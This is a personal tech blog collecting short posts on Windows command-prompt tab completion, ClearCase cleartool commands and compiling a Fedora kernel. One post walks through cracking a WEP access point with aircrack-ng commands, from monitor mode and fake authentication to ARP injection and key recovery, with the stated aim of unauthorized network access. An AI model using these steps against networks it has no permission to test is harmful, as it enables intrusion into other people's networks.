Ease my typing in Windows command prompt

2009-02-20T09:44:00.000+08:00

I love the command prompt UI, to ease the typing auto-complete feature is available.
I'm happy that Windows have this feature.
But is a bit messy because you need to enable it manually.

Here is the info and reference page:
SUMMARY
File name completion and folder name completion are quick-search features of the Windows NT command processor, Cmd.exe. When you type a path or a file name and then press TAB, Cmd.exe searches for all files whose path and file name match your entry.
NOTE: Automatic complete for CMD.exe is not enabled by default in Windows 2000 and later.
When you type a path and then press the TAB key, the command processor searches for all files whose path (but not necessarily the file name) matches your entry. The command processor displays one of the matching file names each time you press TAB. To go backward through the list of file names, press SHIFT+TAB. This article describes how to enable automatic complete for Cmd.exe.
MORE INFORMATION
Important This section, method, or task contains steps that tell you how to modify the registry. However, serious problems might occur if you modify the registry incorrectly. Therefore, make sure that you follow these steps carefully. For added protection, back up the registry before you modify it. Then, you can restore the registry if a problem occurs.

My first experience in WEP hacking

2008-05-08T16:16:00.001+08:00

Is been years I thinking and wonder how to hack AP to get unauthorized access into wireless network.

I finally done it. Thanks to my friend provide me supported hardware (WG2000 with chipset zd1211) and a friend with kernel hacker expert :)

Here is the operating system environment:

FedoraCore 6 (kernel version 2.6.23.17)

- ieee80211.patch

- zd12111_firmware1.4

- zd1211rw.patch

Hacking WEP steps:

0. Enable Wireless adaptor with monitor mode
-> airmon-ng start [adaptor_interface]
-> airmon-ng start wlan0

1. View surounding APs
-> airodump-ng
-> airodump-ng wlan0

2. Target single AP and Channel, then start capturing the packet info
-> airodump-ng -c [channel] --bssid [ap_mac] -w [outfilename] [adaptor_interface]

3. Do fake authentication
-> aireplay-ng -1 0 -e [ap_name] -a [ap_mac] -h [adaptor_mac] [adaptor_interface]

4. Keep fake authenication alive
-> aireplay-ng -1 6000 -o 1 -q 10 -e [ap_name] -a [ap_mac] -h [adaptor_mac][adaptor_interface]

5. Make packet injection with arp attack
-> aireplay-ng -3 -b [ap_mac] -h [adaptor_mac] [adaptor_interface]

6. Crack the AP KEY with .cap
-> aircrack-ng -z -b [ap_mac] [outfilename].cap
-> aircrack-ng -b [ap_mac] [outfilename].cap

Steps 5 and 6 can be executed parallel :D

Search for latest version of branch type

2008-05-06T17:52:00.000+08:00

To search latest version number for specific branch type:

cleartool find /vobs/vobname -branch "brtype(branchtypename)" -version "version(.../branchtypename/LATEST)" -print tee brantypelist.txt

The example result will be:

/vobs/vobname/filename1@@/main/branchtypename/3

/vobs/vobname/filename2@@/main/branchtypename/2

/vobs/vobname/filename3@@/main/branchtypename/6

Remove Corrupted View in Rational ClearCase

2007-08-01T14:10:00.000+08:00

Objective: Remove Corrupted View

Error message below you get when you remove a view failed where the view is corrupted

cleartool rmview -tag viewname
cleartool: Error: Unable to open file"/view_stg/viewname.vws/.view": No such file or directory.
cleartool: Error: /view_stg/viewname.vws isn't a view: No such file or directory
cleartool: Error: Unable to remove view "/view_stg/viewname.vws".

Steps to remove the corrupted view:
1. list the view detail to get uuid
cleartool lsview -long viewname
Tag: viewname
Global path: /view_stg/viewname.vws
Server host: servername
Region: region_ux
Active: NO View tag
uuid:9e9c4e46.3f5311dc.86cc.00:14:c2:65:50:79
View on host: zmy12vw1
View server access path: /view_stg/viewname.vws
View uuid: 9e9c4e46.3f5311dc.86cc.00:14:c2:65:50:79
View owner: you

2. Then try remove the view again with uuid
cleartool rmview -vob /vobname -uuid 9e9c4e46.3f5311dc.86cc.00:14:c2:65:50:79
Can't remove view "/view_stg/viewname.vws" from VOB while view still exists.
Remove view /view_stg/viewname.vws" references from VOB anyway? [no] y
Removed references to view "9e9c4e46.3f5311dc.86cc.00:14:c2:65:50:79" from VOB "/vobname".

3. Lastly remove the view tag after all the vob references are removed
cleartool rmtag -view viewname

Find Existing Label Type in VOB

2007-07-19T11:23:00.001+08:00

To detect or verify the existent of label type in VOB:

cleartool lstype -kind lbtype -short -invob /vobs/vobname grep labeltypename

If the command above return NULL or blank, this mean this label type is not existed.
If return value, the "labeltypename" will be shown and also indicate the label type is locked or not.

How to make UNIX / LINUX command in DOS

2007-07-05T13:11:00.001+08:00

Well I usually work in Unix environment. And now get shifted to do work in windows environment. It take me more time to change my style and make me have a lot of error messages such as:

C:\>ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

Here is the solution if you want to have same command in Windows as Unix or Linux.
Just download the zip file and extracted it to C: and set your user environment.
PATH=C:\custom-path

How to Read File list and FTP over a server specific location

2007-04-12T11:21:00.000+08:00

Last Tuesday, one of my ex-coursemate was asking me about how to create shell script. Well I did have some experience with shell script but not advance level.

He asked me to go to his home to teach him and help him up with his task. I told him I not able to teach him but able to research with him to do the
His assignment is to list all file in the specific location, and ftp over another server if any file existed.
I went to his home and spent 1.5 hours to solve the assignment. Well starting I wasted 30 minutes troubleshooting the network connection.... at the end we finally made it.

Here is the code in *.ksh Korn Shell:

My First Experience with Compiling Fedore Core 6

2007-04-07T21:00:00.000+08:00

Phew... Finally I made it! I have successfully compiled my first Linux Kernel in my life woww.. :D

Today I spent most of the time in testing the Fedora Core 6 Kernel Compile.
Before that I search for through the internet just for a better or a good guide. I found the one most useful to me (my opinion) http://www.howtoforge.com/kernel_compilation_fedora

When start following the guide and I have a perception to use my own user account instead of "root" account to compile the kernel by setting the user privillage as what the guide tutor me....

But after 5 hours testing following the tutorial.....
I finally give up and login as superuser account "root" to restart the tutorial steps. And I able to execute tutorial's commands without any errors message.

When come to compile and create rpm package step "make rpm", guess what ?!
I was exciting to wait it finish compile...... but......
I fall asleep zzzZZZZ...... waiting it to successfully compile.....

It totally taken 2.5 hours to finish compile it. Wow.... I read some blogs said they take 1.5 hours..... but mine.... > 1.5 hours... >2 hours... XD

I guess I can't compare with them. Why?!? Well......

My Fedora Core 6 actually is running as a virtual machine.... using VMplayer :P
Furthermore... I'm using a laptop...... a super slow performance laptop... ahahaa. But anyhow, it finish compiled :D

After woke up, I had my dinner and continue my final exploration to make it bootable in grub.....

I was happy when the first reboot is successful but.....
It lost the x-windows login X(...... Just left the terminal login....
I don't dare to believe it!!! What happen??!!!?....
I reboot again, this time i used different command, "reboot" instead "shutdown -r now".

The second reboot was very successful and my x-window is there...
Hoooray!!....
I hurry view the kernel version at terminal "uname -r".... Ohyess... I the kernel version I compiled... Yahoooooo!!

Well, my next step is to know how to compile "module" instead of "full" kernel.
:D wishes me success.
